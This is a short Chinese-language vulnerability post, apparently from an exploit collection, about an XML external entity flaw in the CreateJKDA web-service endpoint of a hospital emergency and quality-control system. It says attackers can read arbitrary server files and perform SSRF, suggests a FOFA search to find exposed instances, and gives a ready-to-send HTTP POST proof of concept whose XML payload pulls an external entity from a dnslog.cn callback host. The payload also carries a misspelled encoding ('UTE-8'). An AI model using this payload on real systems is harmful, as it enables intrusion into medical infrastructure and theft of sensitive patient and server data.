扁鹊飞救智能急救与质控系统 CreateJKDA XML实体注入漏洞

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扁鹊飞救智能急救与质控系统 CreateJKDA 接口处存在XML实体注入漏洞，攻击者可利用xxe漏洞获取服务器敏感数据，可读取任意文件以及ssrf攻击，存在一定的安全隐患

网络测绘：fofa  

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poc


POST /AppService/BQMedical/WebServiceForFirstaidApp.asmx/CreateJKDA HTTP/1.1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: https://fofa.info/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,ja;q=0.8

requestXml=<?xml version="1.0" encoding="UTE-8"?>
<!DOCTYPE root [<!ENTITY % remote SYSTEM "http://sckhmf.dnslog.cn"> %remote;]>